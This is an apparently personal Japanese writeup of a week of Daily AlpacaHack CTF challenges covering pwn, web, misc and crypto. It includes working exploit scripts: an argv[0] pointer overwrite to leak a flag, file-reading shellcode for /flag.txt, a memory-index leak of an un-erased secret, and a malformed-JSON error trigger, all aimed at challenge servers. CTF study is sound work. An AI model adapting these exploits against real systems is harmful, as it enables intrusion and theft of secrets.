Daily AlpacaHack Writeup (2026-04-06 ~ 2026-04-12)
Daily AlpacaHack の Writeup.
(2026/4/6 - 2026/4/12)
login-bonus-2 (Pwn, 2026/4/6)
- Canary があるため ROP などが難しいバイナリ
- パスワードがフラグになっている
debug_reportというprintf用のマクロが組まれおり, 実行されているファイル名 (argv[0]) が前に表示される仕様となっている- ユーザー入力は
passwordに対してscanfで行うため, 長さがいくらでも指定できるようになっている argvのアドレスはスタックの先頭の方に保存されるため,argv[0]のアドレスをg_flagのアドレスに書き換えられればフラグを獲得できる (g_flagのアドレスは PIE 無効のため固定値)argvとpasswordのオフセットを計算することを始め考えたが, gdb などで調べてもよくわからない (うまくいかない) 状態だったため, ある程度の長さでg_flagのアドレスを繰り返した文字列を送ることでフラグを獲得した
from pwn import * context.binary = "./login" elf = ELF("./login") is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 5392".split() sh = remote(host, port) else: context.terminal = ["tmux", "splitw", "-h"] sh = process() gdb.attach(sh, gdbscript=""" break *main+137 c """) prompt = sh.recvuntil("Password:".encode()) print(prompt.decode()) payload = p64(0x404040)*0x100 sh.sendline(payload) sh.interactive()
No Content (Web, 2026/4/7)
- シンプルにフラグを送るサーバー
- しかし,
Content-Lengthヘッダーで大きさを 0 に設定しているため, ブラウザなどで GET リクエストを送ってもフラグの中身は見れない - しかし, あくまでヘッダの指示を無視して中身を読めばよいので, Python の
http.clientから読んだらフラグを獲得
import http.client conn = http.client.HTTPConnection("34.170.146.252", port=46229, timeout=5) conn.request("GET", "/") res = conn.getresponse() data = res.fp.read() print(data)
1️⃣ (Misc, 2026/4/8)
- sh では
.がコードの実行を行うコマンドとなる .での実行はsourceと同じで, 中身がシェルスクリプトとして解釈されるが,Alpaca{}は波括弧が入るため不正なコマンドとしてエラーが生じる- よって,
.を送るとエラーメッセージにフラグが出現する
Panic (Web, 2026/4/9)
- fastify でどのような入力に対しても特定の HTML を返すサーバー
- エラーを生じさせるとフラグが獲得できるが,
/*をアクセプトするためエラーが起きにくそう - HTML は何を送っても無理そうなので,
Content-Type: application/jsonで壊れた json を送ってみるとフラグが獲得できた (パーサーが動いてエラーを吐いたらしい)
import requests target_url = "http://34.170.146.252:43880/" headers = {"Content-Type": "application/json"} payload = "{'invalid'" resp = requests.post(target_url, headers=headers, data=payload) print(resp.text) print(resp.headers)
AES is dead (Crypto, 2026/4/10)
- AES の ECB モードで, フラグ文字列を描画した画像のエンコードを行っている
- Qiita の記事 にあるが, ECB モードは同じ平文に対して同じ暗号文をあてがうらしく, 画像ならば輪郭が残るらしい
- 輪郭だけあれば文字列はわかるので, エンコードされたものを画像として読めるように変換することでフラグ獲得 (変換コードは LLM に任せた)
def reconstruct_bmp(enc_file, width, height, output_file): with open(enc_file, "rb") as f: enc_data = f.read() pixel_payload = enc_data[64:] file_size = 54 + len(pixel_payload) header = bytearray([ 0x42, 0x4D, # Magic 'BM' *file_size.to_bytes(4, 'little'), 0, 0, 0, 0, # Reserved 54, 0, 0, 0, # Offset 40, 0, 0, 0, # DIB Header Size *width.to_bytes(4, 'little'), *height.to_bytes(4, 'little'), 1, 0, 24, 0, # Planes, BPP 0, 0, 0, 0, # Compression *len(pixel_payload).to_bytes(4, 'little'), 0x13, 0x0B, 0, 0, # Xres (2835) 0x13, 0x0B, 0, 0, # Yres (2835) 0, 0, 0, 0, 0, 0, 0, 0 # Colors ]) with open(output_file, "wb") as f: f.write(header) f.write(pixel_payload) reconstruct_bmp("flag.enc", 2374, 124, "recovered_flag.bmp")
- ハードコードされたパラメータについて, 暗号化時の画像の生成コードがあるので試しに生成してみることで高さを取得し, 横幅は
.encファイルのヘッダ部を除いた大きさについて, AES のパディングサイズを総当たりしつつ, うまく割り切れる横幅を計算した
import os def solve_width(enc_file_size, height=124): possible_widths = [] for s in range(enc_file_size - 16, enc_file_size): if (s - 54) % height == 0: row_size = (s - 54) // height if row_size % 4 == 0: for w in range(row_size // 3 - 5, row_size // 3 + 5): if w > 0 and (w * 3 + 3) // 4 * 4 == row_size: possible_widths.append(w) return sorted(list(set(possible_widths))) fsize = os.path.getsize("./flag.enc") print(fsize) print(solve_width(fsize, 124))
pacapaca sc (Pwn, 2026/4/11)
- シェルコードを送る問題
read, write, openはすべて許可されていたため, pwntools のshellcraftで/flag.txtを開いて読み込み, 標準出力 (1) に書き込んだらフラグがゲットできた
from pwn import * _, host, port = "nc 34.170.146.252 39313".split() context.binary = "./chal" sh = remote(host, port) prompt = sh.recvuntil("paca?".encode()) print(prompt.decode()) sc = shellcraft.open("/flag.txt", 0) sc += shellcraft.read("rax", "rsp", 0x100) sc += shellcraft.write(1, "rsp", 0x100) shellcode = asm(sc) sh.sendline(shellcode) sh.interactive()
Erased Secret (Misc, 2026/4/12)
secretから SHA256 でハッシュが作成され出力され, そこから元のsecretを当てられればフラグ獲得- ソースコードでは
secretについて,memset関数を用いて三回上書きすることで消去しようとしている - 一方で,
objdumpのprepare関数の最後の方の処理は以下のようになっている
14a7: 75 16 jne 14bf <prepare+0x13f> 14a9: 48 83 c4 48 add rsp,0x48 14ad: 5b pop rbx 14ae: 5d pop rbp 14af: 41 5c pop r12 14b1: 41 5d pop r13 14b3: c3 ret 14b4: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 14b8: b8 01 00 00 00 mov eax,0x1 14bd: eb da jmp 1499 <prepare+0x119> 14bf: e8 bc fc ff ff call 1180 <__stack_chk_fail@plt> 14c4: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
- このあたりで
memset関数が呼ばれていないため, 最後の処理はコンパイラによる最適化の段階で無視されたことが考えられる - 上記より,
challenge関数内でmemのインデックスを調節してsecretを読み込むことで, hash の解読を行いwin関数を起動できる
from pwn import * import hashlib context.binary = "./chal" is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 36195".split() sh = remote(host, port) else: sh = process() prompt = sh.recvuntil("hash:".encode()) print(prompt.decode()) secret_hash = sh.recvline().decode().strip() SECRET_LEN = 32 secret_bytes = [] for i in range(SECRET_LEN): prompt = sh.recvuntil("choice:".encode()) print(prompt.decode()) sh.sendline("?") prompt = sh.recvuntil("index:".encode()) print(prompt.decode()) sh.sendline(str(0xf0 - 0x10 + i).encode()) prompt = sh.recvuntil("mem".encode()) print(prompt.decode()) mem = sh.recvline().decode().split("=")[-1].strip() print(mem) secret_bytes.append(int(mem, 16)) secret = bytes(secret_bytes) h = hashlib.sha256(secret).hexdigest() print("secret hash:", secret_hash) print("decoded:", h) prompt = sh.recvuntil("choice:".encode()) print(prompt.decode()) sh.sendline("!".encode()) prompt = sh.recvuntil("secret:".encode()) print(prompt.decode()) sh.sendline(secret) sh.interactive()
- なお,
secretに対応するインデックスの計算は gdb で調べた (総当たりの方が速かった?)
0x0f0 - (0x140 - 0x130) -> 0xf0 - 0x10